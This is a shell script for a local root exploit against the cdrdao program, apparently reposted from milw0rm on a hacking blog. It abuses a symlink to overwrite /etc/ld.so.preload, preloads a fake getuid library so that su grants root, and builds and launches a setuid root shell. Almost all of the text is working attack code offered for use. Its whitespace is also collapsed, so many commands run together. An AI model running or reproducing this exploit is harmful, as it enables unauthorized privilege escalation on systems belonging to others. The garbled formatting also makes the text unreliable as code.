#!/bin/shDIR=`pwd`echo""echo"cdrdao local root exploit - gr doesn't protect you this time"echo"Karol Wiêsek <appelast*drumnbass.art.pl>"echo""sleep2umask000echo-n"[*] Checking if /etc/ld.so.preload doesn't exist ... "if[ -f/etc/ld.so.preload ];thenecho"WRONG"echo"/etc/ld.so.preload exists, write another exploit ;P"exitelseecho"OK"fiecho-n"[*] Checking if su is setuid ... "if[ -u/bin/su];thenecho"OK"elseecho"WRONG"exitfiecho-n"[*] Creating evil *uid() library ... "cat> getuid_lib.c << _EOFint getuid(void) {return0; }_EOFgcc -o getuid_lib.o -c getuid_lib.cld -shared -o getuid_lib.so getuid_lib.orm-f getuid_lib.c getuid_lib.oif[ -f ./getuid_lib.so ];thenecho"OK"elseecho"WRONG"fiecho-n"[*] Creating suidshell ... "cat> suid.c << _EOFint main(void) {setgid(0); setuid(0);unlink("./suid");execl("/bin/sh","sh",0); }_EOFgcc -o suid suid.crm-f suid.cif[ -x ./suid];thenecho"OK"elseecho"WRONG"exitfiecho-n"[*] Exploiting cdrdao ... "ln-sf/etc/ld.so.preload $HOME/.cdrdaoif[ ! -L $HOME/.cdrdao ];thenecho"Could'n link to \$HOME/.cdrdao"exitficdrdao unlock --save 2>/dev/null>/etc/ld.so.preloadecho"$DIR/getuid_lib.so">/etc/ld.so.preloadsu- -c"rm /etc/ld.so.preload; chown root:root $DIR/suid; chmod +s $DIR/suid"if[ -s ./suid];thenecho"OK"elseecho"WRONG"exitfirm-f getuid_lib.sounlink $HOME/.cdrdaoecho"Entering rootshell ... ;]"./suid# milw0rm.com [2004-09-07]
_local exploit root Linux 2.6.18-238
Exxploit root
Coppy phải ghi rõ nguồn Blog - Hacking